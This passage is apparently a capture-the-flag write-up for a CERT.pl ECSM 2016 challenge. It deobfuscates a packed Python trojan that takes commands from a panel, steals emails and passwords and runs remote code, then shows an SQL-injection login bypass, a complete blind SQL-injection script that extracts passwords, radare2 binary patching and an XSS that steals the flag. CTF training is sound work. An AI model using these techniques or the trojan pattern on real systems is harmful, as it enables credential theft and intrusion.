exec(bz2.decompress(base64.b64decode(‘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’)))
# Created by pyminifier (https://github.com/liftoff/pyminifier)
[/code]
same steps applied here and we get a bit more verbose script [code] import hashlib AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUTF=range AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUTM=len AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUTE=chr AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUTD=ord import struct AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJo=struct.unpack AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJi=struct.pack import zlib AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUTJ=zlib.crc32 import base64 AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUTS=base64.urlsafe_b64decode AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUTs=base64.urlsafe_b64encode def AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJc( AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJT,key): AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJT=’{}{}’.format(AmYkhPIeNLRzVXGvyOxtQWr qCbaHnKBfglpwdUJT,AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJi(‘i’,AmYkhPIeNLRzVXG vyOxtQWrqCbaHnKBfglpwdUTJ(AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJT))) AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJs=[] for i in AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUTF( AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUTM( AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJT)): AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJS=key[ i%AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUTM(key)] AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJF=AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpw dUTE((AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUTD( AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJT[ i])+AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUTD( AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJS))%256) AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJs.append( AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJF) return AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUTs(““.join( AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJs)) def AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJj( AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJE,key): AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJM=[] AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJE=AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwd UTS(AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJE) for i in AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUTF( AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUTM( AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJE)): AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJS=key[ i%AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUTM(key)] AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJD=AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpw dUTE((256+AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUTD( AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJE[ i])-AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUTD( AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJS))%256) AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJM.append( AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJD) AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJM=”“.join( AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJM) AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJu=AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwd UJM[-4:] AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJM=AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwd UJM[:-4] assert AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUTJ(AmYkhPIeNLRzVXGvyOxtQWrqCbaHnK BfglpwdUJM)==AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJo(‘i’,AmYkhPIeNLRzVXGvyOxt QWrqCbaHnKBfglpwdUJu)[0],’Decode Checksum Error’ return AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJM exec(AmYkhPIeNLRzVXGvyOxtQWrqCbaHnKBfglpwdUJj(“"”314e4c703274667469396665334e726533746e7369345763693833743339575a33746e7530637544314e4c703274667469396e7232735f613259575a6a6f58673274546469396e68314e5067693958793338336f325958687a4e695a304e7665336437743038376e306d5f69324e586f33646d5a3338376d3049575a6a6f586732746d5a3338336569396e69324d71446459695a324e365a337372633363727469394c6131397a613363715a3238626e304e474472724f387972724c7434573269347a6833396e7033702d6f6d746a657a746665333958613263726c6d63726333744b726d3561766d636a6533646d6e3239476764616a487273544a724c6e4269364b5a6b705467304e6e597a74546d324d626e7a34794464636e653059586332636a593073727479736a6f324e4c6132636d686c4a2d446934575a6934695a3073727469386a6f324e4c6132636d5a3064666f324958636b6369446934575a6939655a71495872304e6275304e6a7433705067304e6d6872724f387972724c7434576b69366a487273544a724c6e426c472d5a6934575a33637274344e666e6939656e31646a6f3259326964575f64304d755a7a74506379746a6532636e597a3862747a4933647a4e6e616c4a2d446934575a6934695a3373726e7a3458693263766f33644c613338376f3264695a3339535a7a6f76636459575a6934587269364b5a33637271344d72733339696e307372746b366a487273544f7662475a6c6f573875616a597536624e7335475a323862727a4e4c73714f43677a3862747a49797a69386e61333862326c472d5a6934575a33637274344e666e6939656e31646a6f3259326964575f64304d755a324d62693259326970572d5a6934575a347333693138715a76396675304a2d446934575a6934575a6934586332744c6d7a4e506469364b5a7a74506379737a653338546332744c6d7a4e50646b3436446934575a6934575a693458693059586332744c6d7a4e5064786f7a6332744c6d7a4e50646b734b5a714b4b5a6b746a6c304d72706b702d446934575a6934575a6934575a6934575a6a6f586e32746e68314e506769396e6f69386e6f6c34586a344e6a746459575a6934575a6934575a6934575a69396e69324d716e33744865304e5768314e50746b386a6f324e4c6132636e556b746a6c304d727079746a657a74546e7a396967794936696459575a6934575a6934575a304e48693059586332744c6d7a4e5064786f7a6332744c6d7a4e50646b734b5a714b4b5a6b737a6533385465324d62693139696770572d5a6934575a6934575a6934575a6934576369396a74304d626c6938726d7a4d376c336f58663364546d69397273304e65446934575a6934575a6934575a6934575a304e4c61314e487369364b5a3339666f3163626e6d646a74304d626c7973726d7a4d376c336f32696459575a6934575a6934575a6934575a69386a6e7a735473304e506479736e6133386168304e4c61314e48736c472d5a6934575a6934575a6938726c314d755a7a74546d324d626e7a3843677a74546d324d626e7a347a5769364b3269347a67304e6e593238627333747a6f33636e736b702d446934575a6934575a6934575a6934575a6a6f587333387261313458707a4e6a73347454727a39695a3064666f32495875337372726459575a6934575a6934575a6934575a6939586133746a7732746664336f573269396e7232735f61325a507333387261313854707a4e6a73347454727a3969686c472d5a6934575a6934575a6934575a6934586332636a593373726e7a3854647a4e6e616b39586133746a7732746664336f36446934575a6934575a693458653138376669386a6f324e4c6132636e556b736a6f324e4c6132636d67794957327149576733746e6133646e59346450636b702d446934575a6934575a6934575a6934575a6a6f587333386272333458763263695a337372723463727269396a6f69397a6569386a61325958733239365a32744f5a3338336569386a6f324e5875333872726459575a6934575a6934575a6934575a6938726d7a4d376c336f573269396e7232735f61325a5072344e50593464506379746a653364766533593275704a57706c472d5a6934575a6934575a6938726c314d755a7a74546d324d626e7a3843677a74546d324d626e7a347a5769364b3269347a7333386272333854763263696770572d5a6934575a6934575a6934575a6934576369396a747a4e66746939766e7a6f5873304e6676304e655a3374535a3473715a7a73626e69396a703549586f325958743038715a7a74546d32397274304e65446934575a6934575a6934575a6934575a304e4c61314e487369364b5a3339666f3163626e6d6466753263547632636a5933737272346372726b3571796d3557696459575a6934575a6934575a304e48693059586332744c6d7a4e5064786f7a6332744c6d7a4e50646b734b5a714b4b5a6b7372767a4e48597a7454643049797a6459575a6934575a6934575a6934575a6934695a304e33657a7472743049586f344e655a324d626c314d6a693274727369386a6f7a3871446934575a6934575a6934575a6934575a304e33657a6f336332744c6d7a4e5064786f7a70354e6e68327450597a74546430497a576c472d5a6934575a6934575a6938726c3373717a6459575a6934575a6934575a6934575a6934695a32746e68304e6677314e6a6569385f7533746d5a33744865304e57446934575a6934575a6934575a6934575a3338376d304a507331387265323432716d35576964575f693059585979745061324d7259796f5732714957677973546d7a4d376e7973536770572d5a6934575a3239666932646d5a6b7162643463626e7a73726469376a74304d626c3338337969376e7232735f61325957716e7069776b6d2d5a6934575a324d62693259326964626c4c5078673d””“.decode(‘hex’),’key’)) [/code]
Reducing the names and applying more meaning and we get [code] import hashlib import struct import zlib import base64
def k(l,key):
l='{}{}'.format(l,struct.pack('i',zlib.crc32(l)))
m=[]
for i in range(len(l)):
o=key[i%len(key)]
n=chr((ord(l[i])+ord(o))%256)
m.append(n)
return base64.urlsafe_b64encode("".join(m))
def p(s,key):
r=[]
s=base64.urlsafe_b64decode(s)
for i in range(len(s)):
o=key[i%len(key)]
t=chr((256+ord(s[i])-ord(o))%256)
r.append(t)
r="".join(r)
u=r[-4:]
r=r[:-4]
assert zlib.crc32(r)==struct.unpack('i',u)[0],'Decode Checksum Error'
return r
print p("""314e4c703274667469396665334e726533746e7369345763693833743339575a33746e7530637544314e4c703274667469396e7232735f613259575a6a6f58673274546469396e68314e5067693958793338336f325958687a4e695a304e7665336437743038376e306d5f69324e586f33646d5a3338376d3049575a6a6f586732746d5a3338336569396e69324d71446459695a324e365a337372633363727469394c6131397a613363715a3238626e304e474472724f387972724c7434573269347a6833396e7033702d6f6d746a657a746665333958613263726c6d63726333744b726d3561766d636a6533646d6e3239476764616a487273544a724c6e4269364b5a6b705467304e6e597a74546d324d626e7a34794464636e653059586332636a593073727479736a6f324e4c6132636d686c4a2d446934575a6934695a3073727469386a6f324e4c6132636d5a3064666f324958636b6369446934575a6939655a71495872304e6275304e6a7433705067304e6d6872724f387972724c7434576b69366a487273544a724c6e426c472d5a6934575a33637274344e666e6939656e31646a6f3259326964575f64304d755a7a74506379746a6532636e597a3862747a4933647a4e6e616c4a2d446934575a6934695a3373726e7a3458693263766f33644c613338376f3264695a3339535a7a6f76636459575a6934587269364b5a33637271344d72733339696e307372746b366a487273544f7662475a6c6f573875616a597536624e7335475a323862727a4e4c73714f43677a3862747a49797a69386e61333862326c472d5a6934575a33637274344e666e6939656e31646a6f3259326964575f64304d755a324d62693259326970572d5a6934575a347333693138715a76396675304a2d446934575a6934575a6934586332744c6d7a4e506469364b5a7a74506379737a653338546332744c6d7a4e50646b3436446934575a6934575a693458693059586332744c6d7a4e5064786f7a6332744c6d7a4e50646b734b5a714b4b5a6b746a6c304d72706b702d446934575a6934575a6934575a6934575a6a6f586e32746e68314e506769396e6f69386e6f6c34586a344e6a746459575a6934575a6934575a6934575a69396e69324d716e33744865304e5768314e50746b386a6f324e4c6132636e556b746a6c304d727079746a657a74546e7a396967794936696459575a6934575a6934575a304e48693059586332744c6d7a4e5064786f7a6332744c6d7a4e50646b734b5a714b4b5a6b737a6533385465324d62693139696770572d5a6934575a6934575a6934575a6934576369396a74304d626c6938726d7a4d376c336f58663364546d69397273304e65446934575a6934575a6934575a6934575a304e4c61314e487369364b5a3339666f3163626e6d646a74304d626c7973726d7a4d376c336f32696459575a6934575a6934575a6934575a69386a6e7a735473304e506479736e6133386168304e4c61314e48736c472d5a6934575a6934575a6938726c314d755a7a74546d324d626e7a3843677a74546d324d626e7a347a5769364b3269347a67304e6e593238627333747a6f33636e736b702d446934575a6934575a6934575a6934575a6a6f587333387261313458707a4e6a73347454727a39695a3064666f32495875337372726459575a6934575a6934575a6934575a6939586133746a7732746664336f573269396e7232735f61325a507333387261313854707a4e6a73347454727a3969686c472d5a6934575a6934575a6934575a6934586332636a593373726e7a3854647a4e6e616b39586133746a7732746664336f36446934575a6934575a693458653138376669386a6f324e4c6132636e556b736a6f324e4c6132636d67794957327149576733746e6133646e59346450636b702d446934575a6934575a6934575a6934575a6a6f587333386272333458763263695a337372723463727269396a6f69397a6569386a61325958733239365a32744f5a3338336569386a6f324e5875333872726459575a6934575a6934575a6934575a6938726d7a4d376c336f573269396e7232735f61325a5072344e50593464506379746a653364766533593275704a57706c472d5a6934575a6934575a6938726c314d755a7a74546d324d626e7a3843677a74546d324d626e7a347a5769364b3269347a7333386272333854763263696770572d5a6934575a6934575a6934575a6934576369396a747a4e66746939766e7a6f5873304e6676304e655a3374535a3473715a7a73626e69396a703549586f325958743038715a7a74546d32397274304e65446934575a6934575a6934575a6934575a304e4c61314e487369364b5a3339666f3163626e6d6466753263547632636a5933737272346372726b3571796d3557696459575a6934575a6934575a304e48693059586332744c6d7a4e5064786f7a6332744c6d7a4e50646b734b5a714b4b5a6b7372767a4e48597a7454643049797a6459575a6934575a6934575a6934575a6934695a304e33657a7472743049586f344e655a324d626c314d6a693274727369386a6f7a3871446934575a6934575a6934575a6934575a304e33657a6f336332744c6d7a4e5064786f7a70354e6e68327450597a74546430497a576c472d5a6934575a6934575a6938726c3373717a6459575a6934575a6934575a6934575a6934695a32746e68304e6677314e6a6569385f7533746d5a33744865304e57446934575a6934575a6934575a6934575a3338376d304a507331387265323432716d35576964575f693059585979745061324d7259796f5732714957677973546d7a4d376e7973536770572d5a6934575a3239666932646d5a6b7162643463626e7a73726469376a74304d626c3338337969376e7232735f61325957716e7069776b6d2d5a6934575a324d62693259326964626c4c5078673d""".decode('hex'),'key')
[/code]
with already changed exec
to print
so we run it and we land at this script
[code]
import requests # http stuff
import trojan # good thing python has everything
import time # got the time
# my secret malware panel
CNC_URL = 'https://secretpanel.ecsm2016.cert.pl'
CNC_PATH = '/get_command'
def cnc_get_command():
# get command from c&c;
r = requests.get(CNC_URL + CNC_PATH)
return r.json()
def cnc_send_data(data):
# send informations to c&c;
r = requests.get(CNC_URL + CNC_PATH, params={'data': data})
return r.json()
def main():
while True:
command = cnc_get_command()
if command['command'] == 'sleep':
# nothing to do, just
time.sleep(int(command['sleep_seconds']))
elif command['command'] == 'get_emails':
# steal emails from user
emails = trojan.steal_emails()
cnc_send_data(emails)
elif command['command'] == 'get_passwords':
# steal passwords from user
passwords = trojan.steal_passwords()
cnc_send_data(passwords)
elif command['command'] == 'start_vnc':
# start vnc server so we can spy on the computer
emails = trojan.run_vnc_server(5900)
elif command['command'] == 'start_vnc':
# start vnc server so we can spy on the computer
emails = trojan.run_vnc_server(5900)
elif command['command'] == 'eval_code':
# execute our malicious code
exec(command['python_code'])
else:
# otherwise just sleep
time.sleep(100)
if __name__ == '__main__':
print 'Advanced Stealthy Trojan 1337'
main() [/code]
now we’re getting somewhere.
It looks like it’s some kind of C&C script. We can see and URL address https://secretpanel.ecsm2016.cert.pl and commands list
A bit interesting is a fact that start_vnc
is duplicated. We can’t of course run this code as there is no package trojan
as the comment might suggest.
Ok, so we can’t run the script then so let’s check what is under the URL.
So it’s an log panel but unfortunately the standard admin/admin doesn’t work :( After few tries we can see that the page is leaking some information to us. In case of username/password entered as admin/admin we get Password is invalid
whereas when we type a/admin we get Username is invalid
.
We can see also that under the URL https://secretpanel.ecsm2016.cert.pl/get_command we get the response in the form of { "command": "sleep", "sleep_seconds": "60" }
By entering an invalid characters in the password field we can produce an SQL injection
ok, let’s log in.
If we enter ' or 1=1--
as a password we get in.
We can see there few messages between our hacker and an admin of this panel. They are in Polish but the most important one is that the last bits of the communication is encrypted and in one of the last unencrypted we are given a tool to encrypt our communication. But we have only the encryper. We need to find out our way to decrypt those messages.
Also in the same message we are informed that the password to encrypt/decrypt those messages is the same as to the admin panel. Ok, so we will need to extract the password but for now, let’s focus on the tool.
We get a binary file that we load into the radare2
This is in fact only a stub - the real main is in sym.real_main
The important thing is that in edx
we pass sym.encrypt
.
The important part is that edx
is at 0x00400ba1
put into local [rbp - local_48h]
and later at 0x00400c83
put to rax
and executed with call rax
. So we should expect som code at sym.encrypt
. We navigate to it with s sym.encrypt
and display it visually with VV
.
By presence of methods like rc4keysched
I assume that the crypto used is RC4. But what about decrypt method?
Lets move to rc4keysched
and display it
we can clearly see that it’s being references from sym.encrypt
and sym.decrypt
so our binary contains both. Awesome!
So let’s change the method being passed at the very beginning of the program from sym.encrypt
to sym.decrypt
. In order to do that:
oo+
- reopen in writing modes 0x00400d7a
- move to the interesting partwx 3c0a
- change the symbol used.Quick check if everything is ok with pdf
and we’re ready to go.
Time to extract the password.
We managed to log in to the panel but we still do not know the password. It would not matter but it is used to encrypt the messages in the admin panel so we need to extract it. Since there’s a SQL injection vulnerability we can do it with a simple script. [code] import requests
username = 'hacker'
for password_length in range(1,30):
password = "' or (username = '"+username+"' and LENGTH(password)="+str(password_length)+")-- "
result = requests.post('https://secretpanel.ecsm2016.cert.pl/login', data={'username': username, 'password':password})
if 'Logged in successfully' in result.text:
break
elif 'Internal Server Error' in result.text:
print 'Error in query'
break
print 'Password length: ', password_length
extracted = ''
password_end = "')-- "
i = len(extracted)
error = False
while not error:
if i == password_length:
print 'Full password: ', extracted
break
password_begin = "' or (username = '" +username+"' and SUBSTR(password,"+str(i+1)+",1)='"
print 'Extracting char no. ', str(i)
for c in xrange(0x20,0x7f):
if chr(c) == "'":
continue
password = password_begin+chr(c)+password_end
result = requests.post('https://secretpanel.ecsm2016.cert.pl/login', data={'username': username, 'password':password})
if 'Logged in successfully' in result.text:
print 'OK, the char is: ',chr(c)
extracted = extracted + chr(c)
print 'Whole decoded pass is: ', extracted
i = i + 1
break
elif 'Internal Server Error' in result.text:
print password
print 'Error in query'
error = True
break
else:
pass
print 'Whole range done.' [/code]
What we do here? Well - first we try to extract user password length by running few queries to the DB and comparing the length of the password with a number. If we guess it correctly - them we log in and that’s why we know it’s the correct one. The script could be simplified or better written but it does the job :)
After that we extract the password char by char with the same technique of comparing each char with every printable char. If we get a match we log in. If we run this script we get the passwords:
username: hacker password: MakeCyberGreatAgain
Trump fans?
username: admin password: VZnG9VX48M
Ok, having updated the tool and knowing the password we can decode the messages. Originally they are in Polish but I’m providing the translation after each one
Ok, teraz chyba jesteśmy bezpieczni? W takim razie możesz w końcu przekazać mi wykradzioną flagę.
(translation)
Ok, so now we’re safe? In that case you can pass the stolen flag.
and
No nie wiem, w sumie ostatnio ciągle mam wrażenie że ktoś próbuje nas śledzić.
Te wiadomości są niezbyt pewne, nawet po zaszyfrowaniu. Wyślę flagę przez stronę secretmessage.ecsm2016.cert.pl.
(translation)
I’m not sure. Recently I have the feeling we’re being followed.
Those messages aren’t safe even after being ciphered. I’ll send the flag via page secretmessage.ecsm2016.cert.pl
and the last one
Ok, niech będzie.
W takim razie dołącz do rozmowy tutaj: https://secretmessage.ecsm2016.cert.pl/cd16c496f53e43e7a72db2255a0939fb/
(translation)
Ok, so be it. Join the conversation here: https://secretmessage.ecsm2016.cert.pl/cd16c496f53e43e7a72db2255a0939fb/
After visiting the page we can see the communication between the admin and the hacker.
again - it’s in Polish but it does not matter. It’s not that important. Important is the fact that we can see that the flag was being pasted few messages above and that it is hidden from us. We assume that the person who pasted the flag see it.
Very quickly we can see that the page is vulnerable to XSS. We prepare the JS script that when visited will send us the flag.
[/code]
[code]
Again the script here could be simplified. What it does is that it gets the page with the conversation, extracts the link to the message with the flag, gets the page and extracts the flag and sets it go url.php
script on the dedicated server. The only thing the script needs to to is to dump what is being send to it.
We post the script and wait a while. After few minutes we check the dump of the requests and we obtain the flag.
The flag is ours: ecsm{this.is.the.flag}